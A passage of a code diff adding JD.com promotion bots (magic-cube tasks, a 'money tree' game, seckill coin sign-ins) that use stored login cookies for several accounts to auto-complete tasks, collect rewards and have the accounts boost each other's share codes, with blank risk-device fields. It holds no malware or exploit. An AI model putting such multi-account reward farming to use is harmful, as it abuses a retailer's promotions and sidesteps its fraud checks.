`【京东账号${$.index}】${$.UserName}:${data.promptMsg}\n` + } + }catch (e) { + + }finally { + resolve() + } + }) + }) +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}/client.action?functionId=${function_id}`, + body: `body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_mofang.ts b/jd_mofang.ts new file mode 100644 index 0000000000..fe8ee8da7e --- /dev/null +++ b/jd_mofang.ts @@ -0,0 +1,127 @@ +import axios from 'axios' +import USER_AGENT, {requireConfig, wait} from './TS_USER_AGENTS' + +let cookie: string = '', res: any = '', UserName: string, index: number +let shareCodeSelf: { + encryptProjectId: string, + encryptAssignmentId: string, + itemId: string +} [] = [] + +const DEBUG = false + +!(async () => { + let cookiesArr: any = await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1 + console.log(`\n开始【京东账号${index}】${UserName}\n`) + + res = await api("functionId=getInteractionHomeInfo&body=%7B%22sign%22%3A%22u6vtLQ7ztxgykLEr%22%7D&appid=content_ecology&client=wh5&clientVersion=1.0.0") + let sign: string = res.result.taskConfig.projectId + DEBUG ? console.log(JSON.stringify(res)) : '' + + res = await api(`functionId=queryInteractiveInfo&body=%7B%22encryptProjectId%22%3A%22${sign}%22%2C%22sourceCode%22%3A%22acexinpin0823%22%2C%22ext%22%3A%7B%7D%7D&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + DEBUG ? console.log(JSON.stringify(res)) : '' + + for (let t of res.assignmentList) { + if (t.completionCnt < t.assignmentTimesLimit) { + if (t.ext) { + if (t.ext.extraType === 'assistTaskDetail') { + console.log('助力码:', t.ext.assistTaskDetail.itemId) + shareCodeSelf.push({ + encryptProjectId: sign, + encryptAssignmentId: t.encryptAssignmentId, + itemId: t.ext.assistTaskDetail.itemId + }) + } + if (t.assignmentName === '每日签到') { + if (t.ext.sign1.status === 1) { + let signDay: number = t.ext.sign1.signList?.length || 0, + type: number = t.rewards[signDay].rewardType + console.log(signDay, type) + res = await api(`functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${sign}%22%2C%22encryptAssignmentId%22%3A%22${t.encryptAssignmentId}%22%2C%22sourceCode%22%3A%22acexinpin0823%22%2C%22itemId%22%3A%221%22%2C%22actionType%22%3A%22%22%2C%22completionFlag%22%3A%22%22%2C%22ext%22%3A%7B%7D%7D&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log('签到成功', JSON.stringify(res)) + } else { + console.log('已签到') + } + } + + for (let proInfo of t.ext.productsInfo ?? []) { + if (proInfo.status === 1) { + console.log(t.assignmentName) + res = await api(`functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${sign}%22%2C%22encryptAssignmentId%22%3A%22${t.encryptAssignmentId}%22%2C%22sourceCode%22%3A%22acexinpin0823%22%2C%22itemId%22%3A%22${proInfo.itemId}%22%2C%22actionType%22%3A0%2C%22completionFlag%22%3A%22%22%2C%22ext%22%3A%7B%7D%7D&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log(res) + } + } + for (let proInfo of t.ext.shoppingActivity ?? []) { + if (proInfo.status === 1) { + console.log(t.assignmentName) + res = await api(`functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${sign}%22%2C%22encryptAssignmentId%22%3A%22${t.encryptAssignmentId}%22%2C%22sourceCode%22%3A%22acexinpin0823%22%2C%22itemId%22%3A%22${proInfo.advId}%22%2C%22actionType%22%3A1%2C%22completionFlag%22%3A%22%22%2C%22ext%22%3A%7B%7D%7D&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log(res) + await wait(t.ext.waitDuration * 1000) + res = await api(`functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${sign}%22%2C%22encryptAssignmentId%22%3A%22${t.encryptAssignmentId}%22%2C%22sourceCode%22%3A%22acexinpin0823%22%2C%22itemId%22%3A%22${proInfo.advId}%22%2C%22actionType%22%3A0%2C%22completionFlag%22%3A%22%22%2C%22ext%22%3A%7B%7D%7D&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log(res) + } + } + for (let proInfo of t.ext.browseShop ?? []) { + if (proInfo.status === 1) { + console.log(t.assignmentName) + res = await api(`functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${sign}%22%2C%22encryptAssignmentId%22%3A%22${t.encryptAssignmentId}%22%2C%22sourceCode%22%3A%22acexinpin0823%22%2C%22itemId%22%3A%22${proInfo.itemId}%22%2C%22actionType%22%3A1%2C%22completionFlag%22%3A%22%22%2C%22ext%22%3A%7B%7D%7D&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log(res) + await wait(t.ext.waitDuration * 1000) + res = await api(`functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${sign}%22%2C%22encryptAssignmentId%22%3A%22${t.encryptAssignmentId}%22%2C%22sourceCode%22%3A%22acexinpin0823%22%2C%22itemId%22%3A%22${proInfo.itemId}%22%2C%22actionType%22%3A0%2C%22completionFlag%22%3A%22%22%2C%22ext%22%3A%7B%7D%7D&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log(res) + } + } + for (let proInfo of t.ext.addCart ?? []) { + if (proInfo.status === 1) { + console.log(t.assignmentName) + res = await api(`functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${sign}%22%2C%22encryptAssignmentId%22%3A%22${t.encryptAssignmentId}%22%2C%22sourceCode%22%3A%22acexinpin0823%22%2C%22itemId%22%3A%22${proInfo.itemId}%22%2C%22actionType%22%3A1%2C%22completionFlag%22%3A%22%22%2C%22ext%22%3A%7B%7D%7D&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log('加购:', res) + if (res.msg === '任务已完成') + break + await wait(2000) + } + } + } + } + } + } + + console.log('助力排队:', shareCodeSelf) + + cookie = cookiesArr[0] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + for (let code of shareCodeSelf) { + console.log(`账号1 ${UserName} 去助力 ${code.itemId}`) + res = await api(`functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${code.encryptProjectId}%22%2C%22encryptAssignmentId%22%3A%22${code.encryptAssignmentId}%22%2C%22sourceCode%22%3A%22acexinpin0823%22%2C%22itemId%22%3A%22${code.itemId}%22%2C%22actionType%22%3A%22%22%2C%22completionFlag%22%3A%22%22%2C%22ext%22%3A%7B%7D%7D&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log('助力结果:', res) + await wait(2000) + } + + if (shareCodeSelf[0]) { + cookie = cookiesArr[1] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + let code: any = shareCodeSelf[0] + console.log(`账号2 ${UserName} 去助力 ${code.itemId}`) + res = await api(`functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${code.encryptProjectId}%22%2C%22encryptAssignmentId%22%3A%22${code.encryptAssignmentId}%22%2C%22sourceCode%22%3A%22acexinpin0823%22%2C%22itemId%22%3A%22${code.itemId}%22%2C%22actionType%22%3A%22%22%2C%22completionFlag%22%3A%22%22%2C%22ext%22%3A%7B%7D%7D&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log('助力结果:', res) + } +})() + +async function api(params: any) { + let {data}: any = await axios.post("https://api.m.jd.com/client.action", params, { + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + 'User-Agent': USER_AGENT, + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2bf3XEEyWG11pQzPGkKpKX2GxJz2/index.html', + 'Origin': 'https://h5.m.jd.com', + 'Host': 'api.m.jd.com', + 'Cookie': cookie + } + }) + await wait(1000) + return data +} \ No newline at end of file diff --git a/jd_moneyTree.ts b/jd_moneyTree.ts new file mode 100644 index 0000000000..3cec04f7a7 --- /dev/null +++ b/jd_moneyTree.ts @@ -0,0 +1,207 @@ +import axios from 'axios'; +import USER_AGENT, {requireConfig, wait} from "./TS_USER_AGENTS"; +import {read} from "fs"; + +let cookie: string = '', res: any = '', UserName: string, index: number; + +!(async () => { + let cookiesArr: any = await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1; + console.log(`\n开始【京东账号${index}】${UserName}\n`); + let body: any = { + "sharePin": "", + "shareType": 1, + "channelLV": "", + "source": 2, + "riskDeviceParam": { + "eid": "", + "fp": "", + "sdkToken": "", + "token": "", + "jstub": "", + "appType": "2", + } + } + body.riskDeviceParam = JSON.stringify(body.riskDeviceParam) + res = await api('login', body) + console.log(JSON.stringify(res)) + let user: any = res.resultData.data + if (!user.realName) { + console.log(`${UserName}未开通游戏`) + continue + } + console.log('助力码:', user.sharePin) + + // 收果子 + console.log('树上果子:', user.treeInfo.fruitOnTree) + body = { + "source": 2, + "sharePin": "", + "userId": user.userInfo, + "userToken": user.userToken, + "shareType": 1, + "channel": "", + "riskDeviceParam": "{\"eid\":\"\",\"fp\":\"\",\"sdkToken\":\"\",\"token\":\"\",\"jstub\":\"\",\"appType\":2}" + } + res = await api('harvest', body) + await wait(3000) + if (res.resultData.code === '200') { + console.log('收果子成功,剩余:', res.resultData.data.treeInfo.fruit) + console.log(`距离${res.resultData.data.treeInfo.treeName}还有${res.resultData.data.treeInfo.progressLeft}`) + } + + // 签到 + body = { + "source": 2, + "riskDeviceParam": "{\"eid\":\"\",\"fp\":\"\",\"sdkToken\":\"\",\"token\":\"\",\"jstub\":\"\",\"appType\":4}" + } + res = await api('signIndex', body) + await wait(3000) + + if (res.resultData.data?.canSign === 2) { + console.log('今日未签到') + for (let sign of res.resultData.data.result) { + if (sign.signStatus === 0) { + console.log(sign) + body = {"source": 2, "signDay": sign.signDays, "riskDeviceParam": "{\"eid\":\"\",\"fp\":\"\",\"sdkToken\":\"\",\"token\":\"\",\"jstub\":\"\",\"appType\":4}"} + res = await api('signOne', body) + console.log('签到:', res) + break + } + } + } else { + console.log('今日已签到') + } + await wait(3000) + + // 获取任务 + body = { + "source": 0, + "linkMissionIds": [], + "LinkMissionIdValues": [], + "riskDeviceParam": { + "eid": "", + "fp": "", + "sdkToken": "", + "token": "", + "jstub": "", + "appType": 2 + } + } + for (let k = 0; k < 3; k++) { + console.log('Round:', k + 1) + body.riskDeviceParam = JSON.stringify(body.riskDeviceParam) + res = await api('dayWork', body) + // console.log('dayWork⬇️') + // console.log(JSON.stringify(res)) + await wait(3000) + + for (let t of res.resultData.data) { + /** + * -1 未开始 + * 0 已开始 + * 1 可领奖 + * 2 已完成 + */ + if (t.workStatus !== 2) { + if (t.workType === 1) { + // 时段签到 + body = { + "source": 2, + "workType": 1, + "opType": 2, + "mid": 0, + "riskDeviceParam": "{\"eid\":\"\",\"fp\":\"\",\"sdkToken\":\"\",\"token\":\"\",\"jstub\":\"\",\"appType\":4}" + } + await api('doWork', body) + await wait(2000) + console.log('时段签到:', res) + } + /* + if (t.url?.indexOf('juid') > -1) { + console.log(t.workName) + let juid: string = t.url.split('juid=')[1]; + res = await mission('getJumpInfo', `%7B%22juid%22:%22${juid}%22%7D`, t.url) + console.log(res) + await wait(3000) + break + } + */ + if (t.url?.indexOf('readTime') > -1) { + console.log(t.workName) + if (t.workStatus === -1) { + body = {"source": 2, "workType": t.workType, "opType": 4, "mid": t.mid, "riskDeviceParam": "{\"eid\":\"\",\"fp\":\"\",\"sdkToken\":\"\",\"token\":\"\",\"jstub\":\"\",\"appType\":4}"} + res = await api('doWork', body) + await wait(2000) + console.log('领取任务:', res.resultData?.data?.opMsg) + } + + if (t.workStatus === 0) { + res = await mission('queryMissionReceiveAfterStatus', `%7B%22missionId%22:%22${t.mid}%22%7D`, t.url) + console.log('任务开始:', res.resultData?.msg) + let readTime: number = t.url.split('readTime=')![1] + await wait(readTime * 1000) + + res = await mission('finishReadMission', `%7B%22missionId%22%3A%22${t.mid}%22%2C%22readTime%22%3A${readTime}%7D`, t.url) + console.log('任务完成:', res.resultData?.msg) + await wait(2000) + } + } + if (t.workStatus === 1) { + body = { + "source": 0, + "workType": t.workType, + "opType": 2, + "mid": t.mid, + "riskDeviceParam": "{\"eid\":\"\",\"fp\":\"\",\"sdkToken\":\"\",\"token\":\"\",\"jstub\":\"\",\"appType\":2}" + } + res = await api('doWork', body) + console.log(t.workName, res.resultData.data.opMsg, res.resultData.data.prizeAmount) + await wait(2000); + } + } + } + await wait(3000) + } + } +})() + +async function api(fn: string, body: any) { + if (['doWork'].indexOf(fn) > -1) { + body = JSON.stringify(body) + } else { + body = encodeURIComponent(JSON.stringify(body)) + } + let {data}: any = await axios.post(`https://ms.jr.jd.com/gw/generic/uc/h5/m/${fn}?_=${Date.now() * 1000}`, + `reqData=${body}`, + { + headers: { + 'User-Agent': USER_AGENT, + 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8', + 'Origin': 'https://uua.jr.jd.com', + 'Host': 'ms.jr.jd.com', + 'Referer': 'https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index', + 'Accept': 'application/json', + 'Cookie': cookie + } + }) + return data +} + +async function mission(fn: string, reqData: string, referer: string) { + let url = 'https://ms.jr.jd.com/gw/generic/mission/h5/m/' + fn + '?reqData=' + reqData + let {data}: any = await axios.get(url, { + headers: { + 'Host': 'ms.jr.jd.com', + 'Origin': referer.split('.com/')[0] + '.com', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; M2004J7AC Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045710 Mobile', + 'X-Requested-With': 'com.jd.jrapp', + 'Referer': referer.split('.com/')[0] + '.com', + 'cookie': cookie + } + }) + return data +} \ No newline at end of file diff --git a/jd_ms.js b/jd_ms.js new file mode 100644 index 0000000000..6b74349d4f --- /dev/null +++ b/jd_ms.js @@ -0,0 +1,274 @@ +/* +京东秒秒币 +Last Modified time: 2021-05-22 8:55:00 +一天签到100币左右,100币可兑换1毛钱红包,推荐攒着配合农场一起用 +活动时间:长期活动 +更新地址:jd_ms.js +活动入口:京东app-京东秒杀-签到领红包 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东秒秒币 +10 7 * * * jd_ms.js, tag=京东秒秒币, img-url=https://raw.githubusercontent.com/yogayyy/Scripts/master/Icon/shylocks/jd_ms.jpg, enabled=true + +================Loon============== +[Script] +cron "10 7 * * *" script-path=jd_ms.js,tag=京东秒秒币 + +===============Surge================= +京东秒秒币 = type=cron,cronexp="10 7 * * *",wake-system=1,timeout=200,script-path=jd_ms.js + +============小火箭========= +京东秒秒币 = type=cron,script-path=jd_ms.js, cronexpr="10 7 * * *", timeout=200, enable=true + */ +const $ = new Env('京东秒秒币'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + if(JSON.stringify(process.env).indexOf('GITHUB')>-1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await jdMs() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdMs() { + $.score = 0 + await getActInfo() + await getUserInfo() + $.cur = $.score + if ($.encryptProjectId) { + await getTaskList() + } + await getUserInfo(false) + await showMsg() +} + +function getActInfo() { + return new Promise(resolve => { + $.post(taskPostUrl('assignmentList', {}, 'appid=jwsp'), (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === 200) { + $.encryptProjectId = data.result.assignmentResult.encryptProjectId + console.log(`活动名称:${data.result.assignmentResult.projectName}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getUserInfo(info=true) { + return new Promise(resolve => { + $.post(taskPostUrl('homePageV2', {}, 'appid=SecKill2020'), (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === 2041) { + $.score = data.result.assignment.assignmentPoints || 0 + if(info) console.log(`当前秒秒币${$.score}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getTaskList() { + let body = {"encryptProjectId": $.encryptProjectId, "sourceCode": "wh5"} + return new Promise(resolve => { + $.post(taskPostUrl('queryInteractiveInfo', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + $.risk = false + if (data.code === '0') { + for (let vo of data.assignmentList) { + if($.risk) break + if (vo['completionCnt'] < vo['assignmentTimesLimit']) { + if (vo['assignmentType'] === 1) { + if(vo['ext'][vo['ext']['extraType']].length === 0) continue; + for (let i = vo['completionCnt']; i < vo['assignmentTimesLimit']; ++i) { + console.log(`去做${vo['assignmentName']}任务:${i + 1}/${vo['assignmentTimesLimit']}`) + let body = { + "encryptAssignmentId": vo['encryptAssignmentId'], + "itemId": vo['ext'][vo['ext']['extraType']][i]['itemId'], + "actionType": 1, + "completionFlag": "" + } + await doTask(body) + await $.wait(vo['ext']['waitDuration'] * 1000 + 500) + body['actionType'] = 0 + await doTask(body) + } + } else if (vo['assignmentType'] === 0) { + for (let i = vo['completionCnt']; i < vo['assignmentTimesLimit']; ++i) { + console.log(`去做${vo['assignmentName']}任务:${i + 1}/${vo['assignmentTimesLimit']}`) + let body = { + "encryptAssignmentId": vo['encryptAssignmentId'], + "itemId": "", + "actionType": "0", + "completionFlag": true + } + await doTask(body) + await $.wait(1000) + } + } else if (vo['assignmentType'] === 3) { + for (let i = vo['completionCnt']; i < vo['assignmentTimesLimit']; ++i) { + console.log(`去做${vo['assignmentName']}任务:${i + 1}/${vo['assignmentTimesLimit']}`) + let body = { + "encryptAssignmentId": vo['encryptAssignmentId'], + "itemId": vo['ext'][vo['ext']['extraType']][i]['itemId'], + "actionType": 0, + "completionFlag": "" + } + await doTask(body) + await $.wait(1000) + } + } + } + } + } else { + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(body) { + body = {...body, "encryptProjectId": $.encryptProjectId, "sourceCode": "wh5", "ext": {}} + return new Promise(resolve => { + $.post(taskPostUrl('doInteractiveAssignment', body), (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + console.log(data.msg) + if(data.msg==='风险等级未通过') $.risk =1 + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得秒秒币${$.score-$.cur}枚,共${$.score}枚`; + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + + +function taskPostUrl(function_id, body = {}, extra = '', function_id2) { + let url = `${JD_API_HOST}`; + if 